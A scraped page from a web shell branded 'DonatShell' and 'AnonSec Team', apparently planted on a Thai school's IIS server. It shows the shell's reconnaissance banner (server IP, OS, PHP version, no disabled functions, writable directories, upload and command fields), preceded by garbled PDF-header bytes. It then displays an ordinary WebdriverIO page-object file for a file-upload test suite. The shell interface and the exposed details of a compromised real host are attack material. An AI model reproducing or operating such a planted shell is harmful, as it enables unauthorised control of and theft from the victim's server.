%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/activity/upload_images1/wdio/test/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/activity/upload_images1/wdio/test/pages/file-upload.js
'use strict'

/* global browser, $, $$ */
/* eslint-disable class-methods-use-this */

class FileUpload {
  get fileinput() {
    return $('.fileinput-button input')
  }
  get start() {
    return $('.fileupload-buttonbar .start')
  }
  get toggle() {
    return $('.fileupload-buttonbar .toggle')
  }
  get remove() {
    return $('.fileupload-buttonbar .delete')
  }
  get processing() {
    return $$('.files .processing')
  }
  get uploads() {
    return $$('.files .template-upload')
  }
  get downloads() {
    return $$('.files .template-download')
  }
  get checked() {
    return $$('.files .toggle:checked')
  }
  /**
   * Opens the file upload form.
   *
   * @param {number} [timeout] Wait timeout
   * @returns {FileUpload} FileUpload object
   */
  open(timeout) {
    browser.url('/')
    this.fileinput.waitForExist({ timeout })
    return this
  }
  /**
   * Uploads files.
   *
   * @param {Array<string>} files Files to upload
   * @param {number} [timeout] Wait timeout
   * @returns {FileUpload} FileUpload object
   */
  upload(files, timeout) {
    this.fileinput.addValue(files.join('\n'))
    browser.waitUntil(() => !this.processing.length, { timeout })
    this.start.click()
    browser.waitUntil(() => !!this.downloads.length, { timeout })
    browser.waitUntil(() => !this.uploads.length, { timeout })
    return this
  }
  /**
   * Deletes uploaded files.
   *
   * @param {number} [timeout] Wait timeout
   * @returns {FileUpload} FileUpload object
   */
  delete(timeout) {
    this.toggle.click()
    browser.waitUntil(() => this.downloads.length === this.checked.length, {
      timeout
    })
    this.remove.click()
    browser.waitUntil(() => !this.downloads.length, { timeout })
    return this
  }
}

module.exports = new FileUpload()

Anon7 - 2022
AnonSec Team